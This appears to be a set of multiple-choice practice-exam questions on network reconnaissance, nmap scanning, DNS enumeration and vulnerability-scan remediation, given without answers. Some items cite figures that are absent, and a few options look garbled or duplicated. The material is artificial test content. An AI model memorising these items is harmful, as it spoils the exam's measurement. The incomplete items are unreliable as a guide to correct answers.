Use the following network diagram and scenario to answer questions 69–71.

Marta is a security analyst who has been tasked with performing nmap scans of her organization's network. She is a new hire and has been given this logical diagram of the organization's network but has not been provided with any additional detail.

Marta wants to determine what IP addresses to scan from location A. How can she find this information?

Scan the organization's web server and then scan the other 255 IP addresses in its subnet.

Query DNS and WHOIS to find her organization's registered hosts.

Contact ICANN to request the data.

Use traceroute to identify the network that the organization's domain resides in.

If Marta runs a scan from location B that targets the servers on the datacenter network and then runs a scan from location C, what differences is she most likely to see between the scans?

The scans will match.

Scans from location C will show no open ports.

Scans from location C will show fewer open ports.

Scans from location C will show more open ports.

Marta wants to perform regular scans of the entire organizational network but only has a budget that supports buying hardware for a single scanner. Where should she place her scanner to have the most visibility and impact?

Location A

Location B

Location C

Location D

Andrea needs to add a firewall rule that will prevent external attackers from conducting topology gathering reconnaissance on her network. Where should she add a rule intended to block this type of traffic?

The firewall

The router

The distribution switch

The Windows server

Brandon wants to perform a WHOIS query for a system he believes is located in Europe. Which NIC should he select to have the greatest likelihood of success for his query?

AFRINIC

APNIC

RIPE

LACNIC

While reviewing Apache logs, Janet sees the following entries as well as hundreds of others from the same source IP. What should Janet report has occurred?

[ 21/Jul/2020:02:18:33 -0500] - - 10.0.1.1 "GET /scripts/sample.php" "-" 302 336 0
[ 21/Jul/2020:02:18:35 -0500] - - 10.0.1.1 "GET /scripts/test.php" "-" 302 336 0
[ 21/Jul/2020:02:18:37 -0500] - - 10.0.1.1 "GET /scripts/manage.php" "-" 302 336 0
[ 21/Jul/2020:02:18:38 -0500] - - 10.0.1.1 "GET /scripts/download.php" "-" 302 336 0
[ 21/Jul/2020:02:18:40 -0500] - - 10.0.1.1 "GET /scripts/update.php" "-" 302 336 0
[ 21/Jul/2020:02:18:42 -0500] - - 10.0.1.1 "GET /scripts/new.php" "-" 302 336 0

A denial-of-service attack

A vulnerability scan

A port scan

A directory traversal attack

Chris wants to gather as much information as he can about an organization using DNS harvesting techniques. Which of the following methods will most easily provide the most useful information if they are all possible to conduct on the network he is targeting?

DNS record enumeration

Zone transfer

Reverse lookup

Domain brute-forcing

Geoff wants to perform passive reconnaissance as part of an evaluation of his organization's security controls. Which of the following techniques is a valid technique to perform as part of a passive DNS assessment?

A DNS forward or reverse lookup

A zone transfer

A WHOIS query

Using maltego

Mike's penetration test requires him to use passive mapping techniques to discover network topology. Which of the following tools is best suited to that task?

Wireshark

nmap

netcat

Angry IP Scanner

While gathering DNS information about an organization, Ryan discovered multiple AAAA records. What type of reconnaissance does this mean Ryan may want to consider?

Second-level DNS queries

IPv6 scans

Cross-domain resolution

A CNAME verification

After Carlos completes a topology discovery scan of his local network, he sees the Zenmap topology shown here. What can Carlos determine from the Zenmap topology view?

There are five hosts with port security enabled.

DemoHost2 is running a firewall.

DemoHost4 is running a firewall.

There are four hosts with vulnerabilities and seven hosts that do not have vulnerabilities.

Scott is part of the white team who is overseeing his organization's internal red and blue teams during an exercise that requires each team to only perform actions appropriate to the penetration test phase they are in. During the reconnaissance phase, he notes the following behavior as part of a Wireshark capture. What should he report?

The blue team has succeeded.

The red team is violating the rules of engagement.

The red team has succeeded.

The blue team is violating the rules of engagement.

Jennifer analyzes a Wireshark packet capture from a network that she is unfamiliar with. She discovers that a host with IP address 10.11.140.13 is running services on TCP ports 636 and 443. What services is that system most likely running?

LDAPS and HTTPS

FTPS and HTTPS

RDP and HTTPS

HTTP and Secure DNS

Kai has identified a privilege escalation flaw on the system she targeted in the first phase of her penetration test and is now ready to take the next step. According to the NIST 800-115 standard, what is step C that Kai needs to take, as shown in this diagram?

System browsing

Scanning

Rooting

Consolidation

When Scott performs an nmap scan with the -T flag set to 5, what variable is he changing?

How fast the scan runs

The TCP timeout flag it will set

How many retries it will perform

How long the scan will take to start up

While conducting a port scan of a remote system, Henry discovers TCP port 1433 open. What service can he typically expect to run on this port?

Oracle

VNC

IRC

Microsoft SQL

While application vulnerability scanning one of her target organizations web servers, Andrea notices that the server's hostname is resolving to a cloudflare.com host. What does Andrea know about her scan?

It is being treated like a DDoS attack.

It is scanning a CDN-hosted copy of the site.

It will not return useful information.

She cannot determine anything about the site based on this information.

While tracking a potential APT on her network, Cynthia discovers a network flow for her company's central file server. What does this flow entry most likely show if 10.2.2.3 is not a system on her network?

Date flow start     Duration Proto          Src   IP Addr:Port   Dst IP Addr:Port   Packets    Bytes    Flows
2017-07-11          13:06:46.343 21601804   TCP   10.1.1.1:1151->10.2.2.3:443       9473640    9.1 G    1
2017-07-11          13:06:46.551 21601804   TCP   10.2.2.3:443->10.1.1.1:1151       8345101    514 M    1

A web browsing session

Data exfiltration

Data infiltration

A vulnerability scan

Part of Tracy's penetration testing assignment is to evaluate the WPA2 Enterprise protected wireless networks of her target organization. What major differences exist between reconnaissances of a wired network versus a wireless network?

Encryption and physical accessibility

Network access control and encryption

Port security and physical accessibility

Authentication and encryption

Ian's company has an internal policy requiring that they perform regular port scans of all of their servers. Ian has been part of a recent effort to move his organization's servers to an infrastructure as a service (IaaS) provider. What change will Ian most likely need to make to his scanning efforts?

Change scanning software

Follow the service provider's scan policies

Sign a security contract with the provider

Discontinue port scanning

During a regularly scheduled PCI compliance scan, Fred has discovered port 3389 open on one of the point-of-sale terminals that he is responsible for managing. What service should he expect to find enabled on the system?

MySQL

RDP

TOR

Jabber

Saanvi knows that the organization she is scanning runs services on alternate ports to attempt to reduce scans of default ports. As part of her intelligence-gathering process, she discovers services running on ports 8080 and 8443. What services are most likely running on these ports?

Botnet C&C

Nginx

Microsoft SQL Server instances

Web servers

Lauren wants to identify all the printers on the subnets she is scanning with nmap. Which of the following nmap commands will not provide her with a list of likely printers?

nmap -sS -p 9100,515,631 10.0.10.15/22 -oX printers.txt

nmap -O 10.0.10.15/22 -oG - | grep printer >> printers.txt

nmap -sU -p 9100,515,631 10.0.10.15/22 -oX printers.txt

nmap -sS -O 10.0.10.15/22 -oG | grep >> printers.txt

Chris knows that systems have connected to a remote host on TCP ports 1433 and 1434. If he has no other data, what should his best guess be about what the host is?

A print server

A Microsoft SQL server

A MySQL server

A secure web server running on an alternate port

What services will the following nmap scan test for?

nmap -sV -p 22,25,53,389 192.168.2.50/27

Telnet, SMTP, DHCP, MS-SQL

SSH, SMTP, DNS, LDAP

Telnet, SNMP, DNS, LDAP

SSH, SNMP, DNS, RDP

While conducting a topology scan of a remote web server, Susan notes that the IP addresses returned for the same DNS entry change over time. What has she likely encountered?

A route change

Fast-flux DNS

A load balancer

An IP mismatch

Kwame is reviewing his team's work as part of a reconnaissance effort and is checking Wireshark packet captures. His team reported no open ports on 10.0.2.15. What issue should he identify with their scan based on the capture shown here?

The host was not up.

Not all ports were scanned.

The scan scanned only UDP ports.

The scan was not run as root.

Allan's nmap scan includes a line that starts with cpe:/o. What type of information should he expect to gather from the entry?

Common privilege escalation

Operating system

Certificate performance evaluation

Hardware identification

While scanning a network, Frank discovers a host running a service on TCP ports 1812 and 1813. What type of server has Frank most likely discovered?

RADIUS

VNC

Kerberos

Postgres

Nihar wants to conduct an nmap scan of a firewalled subnet. Which of the following is not an nmap firewall evasion technique he could use?

Fragmenting packets

Changing packet header flags

Spoofing the source IP

Appending random data

Which of the following commands will provide Ben with the most information about a host?

dig -x [ip address]

host [ip address]

nslookup [ip address]

zonet [ip address]

Fred's reconnaissance of an organization includes a search of the Censys network search engine. There, he discovers multiple certificates with validity dates as shown here:

Validity

2018-07-07 00:00:00 to 2019-08-11 23:59:59 (400 days, 23:59:59)

2017-07-08 00:00:00 to 2019-08-12 23:59:59 (400 days, 23:59:59)

2018-07-11 00:00:00 to 2019-08-15 23:59:59 (400 days, 23:59:59)

What should Fred record in his reconnaissance notes?

The certificates expired as expected, showing proper business practice.

The certificates were expired by the CA, possibly due to nonpayment.

The system that hosts the certificates may have been compromised.

The CA may have been compromised, leading to certificate expiration.

When Casey scanned a network host, she received the results shown here. What does she know based on the scan results?

The device is a Cisco device.

The device is running CentO.

The device was built by IBM.

None of the above.

Fred conducts an SNMP sweep of a target organization and receives no-response replies from multiple addresses that he believes belong to active hosts. What does this mean?

The machines are unreachable.

The machines are not running SNMP servers.

The community string he used is invalid.

Any or all of the above may be true.

Angela wants to gather detailed information about the hosts on a network passively. If she has access to a Wireshark PCAP file from the network, which of the following tools can she use to provide automated analysis of the file?

Ettercap

NetworkMiner

Sharkbait

Dradis

While performing reconnaissance of an organization's network, Angela discovers that web.organization.com, www.organization.com, and documents.organization.com all point to the same host. What type of DNS record allows this?

A CNAME

An MX record

An SPF record

An SOA record

Aidan operates the point-of-sale network for a company that accepts credit cards and is thus required to be compliant with PCI DSS. During his regular assessment of the point-of-sale terminals, he discovers that a recent Windows operating system vulnerability exists on all of them. Since they are all embedded systems that require a manufacturer update, he knows that he cannot install the available patch. What is Aidan's best option to stay compliant with PCI DSS and protect his vulnerable systems?

Replace the Windows embedded point-of-sale terminals with standard Windows systems.

Build a custom operating system image that includes the patch.

Identify, implement, and document compensating controls.

Remove the POS terminals from the network until the vendor releases a patch.

What occurs when Mia uses the following command to perform an nmap scan of a network?

nmap -sP 192.168.2.0/24

A secure port scan of all hosts in the 192.168.0.0 to 192.168.2.255 network range

A scan of all hosts that respond to ping in the 192.168.0.0 to 192.168.255.255 network range

A scan of all hosts that respond to ping in the 192.168.2.0 to 192.168.2.255 network range

A SYN-based port scan of all hosts in the 192.168.2.0 to 192.168.2.255 network range

Amir's remote scans of a target organization's class C network block using nmap ( nmap -sS 10.0.10.1/24) show only a single web server. If Amir needs to gather additional reconnaissance information about the organization's network, which of the following scanning techniques is most likely to provide additional detail?

Use a UDP scan.

Perform a scan from on-site.

Scan using the -p 1-65535 flag.

Use nmap's IPS evasion techniques.

Damian wants to limit the ability of attackers to conduct passive fingerprinting exercises on his network. Which of the following practices will help to mitigate this risk?

Implement an IPS.

Implement a firewall.

Disable promiscuous mode for NICs.

Enable promiscuous mode for NICs.

Wang submits a suspected malware file to malwr.com and receives the following information about its behavior. What type of tool is malwr.com?

A reverse-engineering tool

A static analysis sandbox

A dynamic analysis sandbox

A decompiler sandbox

As part of his active reconnaissance activities, Frank is provided with a shell account accessible via SSH. If Frank wants to run a default nmap scan on the network behind the firewall shown here, how can he accomplish this?

ssh -t 192.168.34.11 nmap 192.168.34.0/24

ssh -R 8080:192.168.34.11:8080 [remote account:remote password]

ssh -proxy 192.168.11 [remote account:remote password]

Frank cannot scan multiple ports with a single ssh command.

Angela captured the following packets during a reconnaissance effort run by her organization's red team. What type of information are they looking for?

Vulnerable web applications

SQL injection

Directory traversal attacks

Passwords

Which sources are most commonly used to gather information about technologies a target organization uses during intelligence gathering?

OSINT searches of support forums and social engineering

Port scanning and social engineering

Social media review and document metadata

Social engineering and document metadata

Sarah has been asked to assess the technical impact of suspected reconnaissance performed against her organization. She is informed that a reliable source has discovered that a third party has been performing reconnaissance by querying WHOIS data. How should Sarah categorize the technical impact of this type of reconnaissance?

High

Medium

Low

She cannot determine this from the information given.

Rick is reviewing flows of a system on his network and discovers the following flow logs. What is the system doing?

ICMP "Echo request"
Date flow start   Duration       Proto         Src IP Addr:Port->Dst IP Addr:Port   Packets   Bytes   Flows
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.6:8.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.6:0->10.1.1.1:0.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.7:8.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.7:0->10.1.1.1:0.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.8:8.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.8:0->10.1.1.1:0.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.9:8.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.9:0->10.1.1.1:0.0             11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.10:8.0            11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.10:0->10.1.1.1:0.0            11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.1.1.1:0->10.2.2.6:11.0            11        924     1
2019-07-11        04:58:59.518   10.000 ICMP   10.2.2.11:0->10.1.1.1:0.0            11        924     1

A port scan

A failed three-way handshake

A ping sweep

A traceroute

Ryan's passive reconnaissance efforts resulted in the following packet capture. Which of the following statements cannot be verified based on the packet capture shown for the host with IP address 10.0.2.4?

The host does not have a DNS entry.

It is running a service on port 139.

It is running a service on port 445.

It is a Windows system.

Stacey encountered a system that shows as “filtered” and “firewalled” during an nmap scan. Which of the following techniques should she not consider as she is planning her next scan?

Packet fragmentation

Spoofing the source address

Using decoy scans

Spoofing the destination address

Kim is preparing to deploy a new vulnerability scanner and wants to ensure that she can get the most accurate view of configuration issues on laptops belonging to traveling salespeople. Which technology will work best in this situation?

Agent-based scanning

Server-based scanning

Passive network monitoring

Noncredentialed scanning

Carla runs a vulnerability scan of a new appliance that engineers are planning to place on her organization's network and finds the results shown here. Of the actions listed, which would correct the highest criticality vulnerability?

Block the use of TLS v1.0.

Replace the expired SSL certificate.

Remove the load balancer.

Correct the information leakage vulnerability.

In what type of attack does the adversary leverage a position on a guest operating system to gain access to hardware resources assigned to other operating systems running in the same hardware environment?

Buffer overflow

Directory traversal

VM escape

Cross-site scripting

Sadiq is responsible for the security of a network used to control systems within his organization's manufacturing plant. The network connects manufacturing equipment, sensors, and controllers. He runs a vulnerability scan on this network and discovers that several of the controllers are running very out-of-date firmware that introduces security issues. The manufacturer of the controllers is out of business. What action can Sadiq take to best remediate this vulnerability in an efficient manner?

Develop a firmware update internally and apply it to the controllers.

Post on an Internet message board seeking other organizations that have developed a patch.

Ensure that the ICS is on an isolated network.

Use an intrusion prevention system on the ICS network.

Vic scanned a Windows server used in his organization and found the result shown here. The server is on an internal network with access limited to IT staff and is not part of a domain. How urgently should Vic remediate this vulnerability?

Vic should drop everything and remediate this vulnerability immediately.

While Vic does not need to drop everything, this vulnerability requires urgent attention and should be addressed quickly.

This is a moderate vulnerability that can be scheduled for remediation at a convenient time.

This vulnerability is informational in nature and may be left in place.

Rob's manager recently asked him for an overview of any critical security issues that exist on his network. He looks at the reporting console of his vulnerability scanner and sees the options shown here. Which of the following report types would be his best likely starting point?

Technical Report

High Severity Report

Qualys Patch Report

Unknown Device Report

Wendy is the security administrator for a membership association that is planning to launch an online store. As part of this launch, she will become responsible for ensuring that the website and associated systems are compliant with all relevant standards. What regulatory regime specifically covers credit card information?

PCI DSS

FERPA

HIPAA

SOX

During a port scan of a server, Miguel discovered that the following ports are open on the internal network:

TCP port 25

TCP port 80

TCP port 110

TCP port 443

TCP port 1433

TCP port 3389

The scan results provide evidence that a variety of services are running on this server. Which one of the following services is not indicated by the scan results?

Web

Database

SSH

RDP

Nina is a software developer and she receives a report from her company's cybersecurity team that a vulnerability scan detected a SQL injection vulnerability in one of her applications. She examines her code and makes a modification in a test environment that she believes corrects the issue. What should she do next?

Deploy the code to production immediately to resolve the vulnerability.

Request a scan of the test environment to confirm that the issue is corrected.

Mark the vulnerability as resolved and close the ticket.

Hire a consultant to perform a penetration test to confirm that the vulnerability is resolved.

George recently ran a port scan on a network device used by his organization. Which one of the following open ports represents the most significant possible security vulnerability?

22

23

161

443

Use the following scenario to answer questions 127–129.

Harold runs a vulnerability scan of a server that he is planning to move into production and finds the vulnerability shown here.

What operating system is most likely running on the server in this vulnerability scan report?

macOS

Windows

CentOS

RHEL

Harold is preparing to correct the vulnerability. What service should he inspect to identify the issue?

SSH

HTTPS

RDP

SFTP

Harold would like to secure the service affected by this vulnerability. Which one of the following protocols/versions would be an acceptable way to resolve the issue?

SSL v2.0

SSL v3.0

TLS v1.0

None of the above

Seth found the vulnerability shown here in one of the systems on his network. What component requires a patch to correct this issue?

Operating system

VPN concentrator

Network router or switch

Hypervisor

Quentin ran a vulnerability scan of a server in his organization and discovered the results shown here. Which one of the following actions is not required to resolve one of the vulnerabilities on this server?

Reconfigure cipher support.

Apply Window security patches.

Obtain a new SSL certificate.

Enhance account security policies.

The presence of ____________ triggers specific vulnerability scanning requirements based on law or regulation.

Credit card information

Protected health information

Personally identifiable information

Trade secret information

Use the scenario to answer questions 133–135.

Stella is analyzing the results of a vulnerability scan and comes across the vulnerability shown here on a server in her organization. The SharePoint service in question processes all of the organization's work orders and is a critical part of the routine business workflow.

What priority should Stella place on remediating this vulnerability?

Stella should make this vulnerability one of her highest priorities.

Stella should remediate this vulnerability within the next several weeks.

Stella should remediate this vulnerability within the next several months.

Stella does not need to assign any priority to remediating this vulnerability.

What operating system is most likely running on the server in this vulnerability scan report?

macOS

Windows

CentOS

RHEL

What is the best way that Stella can correct this vulnerability?

Deploy an intrusion prevention system.

Apply one or more application patches.

Apply one or more operating system patches.

Disable the service.

Harry is developing a vulnerability scanning program for a large network of sensors used by his organization to monitor a transcontinental gas pipeline. What term is commonly used to describe this type of sensor network?

WLAN

VPN

P2P

SCADA

This morning, Eric ran a vulnerability scan in an attempt to detect a vulnerability that was announced by a software manufacturer yesterday afternoon. The scanner did not detect the vulnerability although Eric knows that at least two of his servers should have the issue. Eric contacted the vulnerability scanning vendor, who assured him that they released a signature for the vulnerability overnight. What should Eric do as a next step?

Check the affected servers to verify a false positive.

Check the affected servers to verify a false negative.

Report a bug to the vendor.

Update the vulnerability signatures.

Natalie ran a vulnerability scan of a web application recently deployed by her organization, and the scan result reported a blind SQL injection. She reported the vulnerability to the developers, who scoured the application and made a few modifications but did not see any evidence that this attack was possible. Natalie reran the scan and received the same result. The developers are now insisting that their code is secure. What is the most likely scenario?

The result is a false positive.

The code is deficient and requires correction.

The vulnerability is in a different web application running on the same server.

Natalie is misreading the scan report.

Kasun discovers a missing Windows security patch during a vulnerability scan of a server in his organization's data center. Upon further investigation, he discovers that the system is virtualized. Where should he apply the patch?

To the virtualized system

The patch is not necessary

To the domain controller

To the virtualization platform

Joaquin is frustrated at the high level of false positive reports produced by his vulnerability scans and is contemplating a series of actions designed to reduce the false positive rate. Which one of the following actions is least likely to have the desired effect?

Moving to credentialed scanning

Moving to agent-based scanning

Integrating asset information into the scan

Increasing the sensitivity of scans

Joe is conducting a network vulnerability scan against his datacenter and receives reports from system administrators that the scans are slowing down their systems. There are no network connectivity issues, only performance problems on individual hosts. He looks at the scan settings shown here. Which setting would be most likely to correct the problem?

Scan IP addresses in a random order

Network timeout (in seconds)

Max simultaneous checks per host

Max simultaneous hosts per scan

Isidora runs a vulnerability scan of the management interface for her organization's DNS service. She receives the vulnerability report shown here. What should be Isidora's next action?

Disable the use of cookies on this service.

Request that the vendor rewrite the interface to avoid this vulnerability.

Investigate the contents of the cookie.

Shut down the DNS service.

Zara is prioritizing vulnerability scans and would like to base the frequency of scanning on the information asset value. Which of the following criteria would be most appropriate for her to use in this analysis?

Cost of hardware acquisition

Cost of hardware replacement

Types of information processed

Depreciated hardware cost

Laura is working to upgrade her organization's vulnerability management program. She would like to add technology that is capable of retrieving the configurations of systems, even when they are highly secured. Many systems use local authentication, and she wants to avoid the burden of maintaining accounts on all of those systems. What technology should Laura consider to meet her requirement?

Credentialed scanning

Uncredentialed scanning

Server-based scanning

Agent-based scanning

Javier discovered the vulnerability shown here in a system on his network. He is unsure what system component is affected. What type of service is causing this vulnerability?

Backup service

Database service

File sharing

Web service

Alicia runs a vulnerability scan of a server being prepared for production and finds the vulnerability shown here. Which one of the following actions is least likely to reduce this risk?

Block all connections on port 22.

Upgrade OpenSSH.

Disable AES-GCM in the server configuration.

Install a network IPS in front of the server.

After scanning his organization's email server, Singh discovered the vulnerability shown here. What is the most effective response that Singh can take in this situation?

Upgrade to the most recent version of Microsoft Exchange.

Upgrade to the most recent version of Microsoft Windows.

Implement the use of strong encryption.

No action is required.

A SQL injection exploit typically gains access to a database by exploiting a vulnerability in a(n)__________.

Operating system

Web application

Database server

Firewall

Use the following scenario to answer questions 149–151.

Ryan ran a vulnerability scan of one of his organization's production systems and received the report shown here. He would like to understand this vulnerability better and then remediate the issue.

Ryan will not be able to correct the vulnerability for several days. In the meantime, he would like to configure his intrusion prevention system to watch for issues related to this vulnerability. Which one of the following protocols would an attacker use to exploit this vulnerability?

SSH

HTTPS

FTP

RDP

Which one of the following actions could Ryan take to remediate the underlying issue without disrupting business activity?

Disable the IIS service.

Apply a security patch.

Modify the web application.

Apply IPS rules.

If an attacker is able to exploit this vulnerability, what is the probable result that will have the highest impact on the organization?

Administrative control of the server

Complete control of the domain

Access to configuration information

Access to web application logs

Ted is configuring vulnerability scanning for a file server on his company's internal network. The server is positioned on the network as shown here. What types of vulnerability scans should Ted perform to balance the efficiency of scanning effort with expected results?

Ted should not perform scans of servers on the internal network.

Ted should only perform internal vulnerability scans.

Ted should only perform external vulnerability scans.

Ted should perform both internal and external vulnerability scans.

Zahra is attempting to determine the next task that she should take on from a list of security priorities. Her boss told her that she should focus on activities that have the most “bang for the buck.” Of the tasks shown here, which should she tackle first?

Task 1

Task 2

Task 3

Task 4

Kyong manages the vulnerability scans for his organization. The senior director that oversees Kyong's group provides a report to the CIO on a monthly basis on operational activity, and he includes the number of open critical vulnerabilities. He would like to provide this information to his director in as simple a manner as possible each month. What should Kyong do?

Provide the director with access to the scanning system.

Check the system each month for the correct number and email it to the director.

Configure a report that provides the information to automatically send to the director's email at the proper time each month.

Ask an administrative assistant to check the system and provide the director with the information.

Morgan is interpreting the vulnerability scan from her organization's network, shown here. She would like to determine which vulnerability to remediate first. Morgan would like to focus on vulnerabilities that are most easily exploitable by someone outside her organization. Assuming the firewall is properly configured, which one of the following vulnerabilities should Morgan give the highest priority?

Severity 5 vulnerability in the workstation

Severity 1 vulnerability in the file server

Severity 5 vulnerability in the web server

Severity 1 vulnerability in the mail server

Mike runs a vulnerability scan against his company's virtualization environment and finds the vulnerability shown here in several of the virtual hosts. What action should Mike take?

No action is necessary because this is an informational report.

Mike should disable HTTP on the affected devices.

Mike should upgrade the version of OpenSSL on the affected devices.

Mike should immediately upgrade the hypervisor.

Juan recently scanned a system and found that it was running services on ports 139 and 445. What operating system is this system most likely running?

Ubuntu

MacOS

CentOS

Windows

Gene is concerned about the theft of sensitive information stored in a database. Which one of the following vulnerabilities would pose the most direct threat to this information?

SQL injection

Cross-site scripting

Buffer overflow

Denial of service

Which one of the following protocols is not likely to trigger a vulnerability scan alert when used to support a virtual private network (VPN)?

IPsec

SSL v2

PPTP

SSL v3

Rahul ran a vulnerability scan of a server that will be used for credit card processing in his environment and received a report containing the vulnerability shown here. What action must Rahul take?

Remediate the vulnerability when possible.

Remediate the vulnerability prior to moving the system into production and rerun the scan to obtain a clean result.

Remediate the vulnerability within 90 days of moving the system to production.

No action is required.

Use the following scenario to answer questions 161–162.

Aaron is scanning a server in his organization's data center and receives the vulnerability report shown here. The service is exposed only to internal hosts.

What is the normal function of the service with this vulnerability?

File transfer

Web hosting

Time synchronization

Network addressing

What priority should Aaron place on remediating this vulnerability?

Aaron should make this vulnerability his highest priority.

Aaron should remediate this vulnerability urgently but does not need to drop everything.

Aaron should remediate this vulnerability within the next month.

Aaron does not need to assign any priority to remediating this vulnerability.

Without access to any additional information, which one of the following vulnerabilities would you consider the most severe if discovered on a production web server?

CGI generic SQL injection

Web application information disclosure

Web server uses basic authentication without HTTPS

Web server directory enumeration

Gina ran a vulnerability scan on three systems that her organization is planning to move to production and received the results shown here. How many of these issues should Gina require be resolved before moving to production?

0

1

3

All of these issues should be resolved

Ji-won recently restarted an old vulnerability scanner that had not been used in more than a year. She booted the scanner, logged in, and configured a scan to run. After reading the scan results, she found that the scanner was not detecting known vulnerabilities that were detected by other scanners. What is the most likely cause of this issue?

The scanner is running on an outdated operating system.

The scanner's maintenance subscription is expired.

Ji-won has invalid credentials on the scanner.

The scanner does not have a current, valid IP address.

Isabella runs both internal and external vulnerability scans of a web server and detects a possible SQL injection vulnerability. The vulnerability only appears in the internal scan and does not appear in the external scan. When Isabella checks the server logs, she sees the requests coming from the internal scan and sees some requests from the external scanner but no evidence that a SQL injection exploit was attempted by the external scanner. What is the most likely explanation for these results?

A host firewall is blocking external network connections to the web server.

A network firewall is blocking external network connections to the web server.

A host IPS is blocking some requests to the web server.

A network IPS is blocking some requests to the web server.

Rick discovers the vulnerability shown here in a server running in his datacenter. What characteristic of this vulnerability should concern him the most?

It is the subject of a recent security bulletin.

It has a CVSS score of 7.6.

There are multiple Bugtraq and CVE IDs.

It affects kernel-mode drivers.

Carla is designing a vulnerability scanning workflow and has been tasked with selecting the person responsible for remediating vulnerabilities. Which one of the following people would normally be in the best position to remediate a server vulnerability?

Cybersecurity analyst

System administrator

Network engineer

IT manager

During a recent vulnerability scan, Ed discovered that a web server running on his network has access to a database server that should be restricted. Both servers are running on his organization's VMware virtualization platform. Where should Ed look first to configure a security control to restrict this access?

VMware

Datacenter firewall

Perimeter (Internet) firewall

Intrusion prevention system

Carl runs a vulnerability scan of a mail server used by his organization and receives the vulnerability report shown here. What action should Carl take to correct this issue?

Carl does not need to take any action because this is an informational report.

Carl should replace SSL with TLS on this server.

Carl should disable weak ciphers.

Carl should upgrade OpenSSL.

Renee is configuring a vulnerability scanner that will run scans of her network. Corporate policy requires the use of daily vulnerability scans. What would be the best time to configure the scans?

During the day when operations reach their peak to stress test systems

During the evening when operations are minimal to reduce the impact on systems

During lunch hour when people have stepped away from their systems but there is still considerable load

On the weekends when the scans may run unimpeded

Ahmed is reviewing the vulnerability scan report from his organization's central storage service and finds the results shown here. Which action can Ahmed take that will be effective in remediating the highest-severity issue possible?

Upgrade to SNMP v3.

Disable the use of RC4.

Replace the use of SSL with TLS.

Disable remote share enumeration.

Use the following scenario to answer questions 173–174.

Glenda ran a vulnerability scan of workstations in her organization. She noticed that many of the workstations reported the vulnerability shown here. She would like to not only correct this issue but also prevent the likelihood of similar issues occurring in the future.

What action should Glenda take to achieve her goals?

Glenda should uninstall Chrome from all workstations and replace it with Internet Explorer.

Glenda should manually upgrade Chrome on all workstations.

Glenda should configure all workstations to automatically upgrade Chrome.

Glenda does not need to take any action.

What priority should Glenda place on remediating this vulnerability?

Glenda should make this vulnerability her highest priority.

Glenda should remediate this vulnerability urgently but does not need to drop everything.

Glenda should remediate this vulnerability within the next several months.

Glenda does not need to assign any priority to remediating this vulnerability.

After reviewing the results of a vulnerability scan, Gabriella discovered a flaw in her Oracle database server that may allow an attacker to attempt a direct connection to the server. She would like to review NetFlow logs to determine what systems have connected to the server recently. What TCP port should Gabriella expect to find used for this communication?

443

1433

1521

8080

Greg runs a vulnerability scan of a server in his organization and finds the results shown here. What is the most likely explanation for these results?

The organization is running web services on nonstandard ports.

The scanner is providing a false positive error report.

The web server has mirrored ports available.

The server has been compromised by an attacker.

Binh is reviewing a vulnerability scan of his organization's VPN appliance. He wants to remove support for any insecure ciphers from the device. Which one of the following ciphers should he remove?

ECDHE-RSA-AES128-SHA256

AES256-SHA256

DHE-RSA-AES256-GCM-SHA384

EDH-RSA-DES-CBC3-SHA

Terry recently ran a vulnerability scan against his organization's credit card processing environment that found a number of vulnerabilities. Which vulnerabilities must he remediate in order to have a “clean” scan under PCI DSS standards?

Critical vulnerabilities

Critical and high vulnerabilities

Critical, high, and moderate vulnerabilities

Critical, high, moderate, and low vulnerabilities

Himari discovers the vulnerability shown here on several Windows systems in her organization. There is a patch available, but it requires compatibility testing that will take several days to complete. What type of file should Himari be watchful for because it may directly exploit this vulnerability?

Private key files

Word documents

Image files

Encrypted files

During a vulnerability scan, Patrick discovered that the configuration management agent installed on all of his organization's Windows servers contains a serious vulnerability. The manufacturer is aware of this issue, and a patch is available. What process should Patrick follow to correct this issue?

Immediately deploy the patch to all affected systems.

Deploy the patch to a single production server for testing and then deploy to all servers if that test is successful.

Deploy the patch in a test environment and then conduct a staged rollout in production.

Disable all external access to systems until the patch is deployed.

Aaron is configuring a vulnerability scan for a Class C network and is trying to choose a port setting from the list shown here. He would like to choose a scan option that will efficiently scan his network but also complete in a reasonable period of time. Which setting would be most appropriate?

None

Full

Standard Scan

Light Scan

Haruto is reviewing the results of a vulnerability scan, shown here, from a web server in his organization. Access to this server is restricted at the firewall so that it may not be accessed on port 80 or 443. Which of the following vulnerabilities should Haruto still address?

OpenSSL version

Cookie information disclosure

TRACK/TRACE methods

Haruto does not need to address any of these vulnerabilities because they are not exposed to the outside world

Brian is considering the use of several different categories of vulnerability plug-ins. Of the types listed here, which is the most likely to result in false positive reports?

Registry inspection

Banner grabbing

Service interrogation

Fuzzing

Binh conducts a vulnerability scan and finds three different vulnerabilities, with the CVSS scores shown here. Which vulnerability should be his highest priority to fix, assuming all three fixes are of equal difficulty?

Vulnerability 1

Vulnerability 2

Vulnerability 3

Vulnerabilities 1 and 3 are equal in priority

Which one of the following is not an appropriate criterion to use when prioritizing the remediation of vulnerabilities?

Network exposure of the affected system

Difficulty of remediation

Severity of the vulnerability

All of these are appropriate.

Landon is preparing to run a vulnerability scan of a dedicated Apache server that his organization is planning to move into a DMZ. Which one of the following vulnerability scans is least likely to provide informative results?

Web application vulnerability scan

Database vulnerability scan

Port scan

Network vulnerability scan

Ken recently received the vulnerability report shown here that affects a file server used by his organization. What is the primary nature of the risk introduced by this vulnerability?

Confidentiality

Integrity

Availability

Nonrepudiation

Aadesh is creating a vulnerability management program for his company. He has limited scanning resources and would like to apply them to different systems based on the sensitivity and criticality of the information that they handle. What criteria should Aadesh use to determine the vulnerability scanning frequency?

Data remanence

Data privacy

Data classification

Data privacy

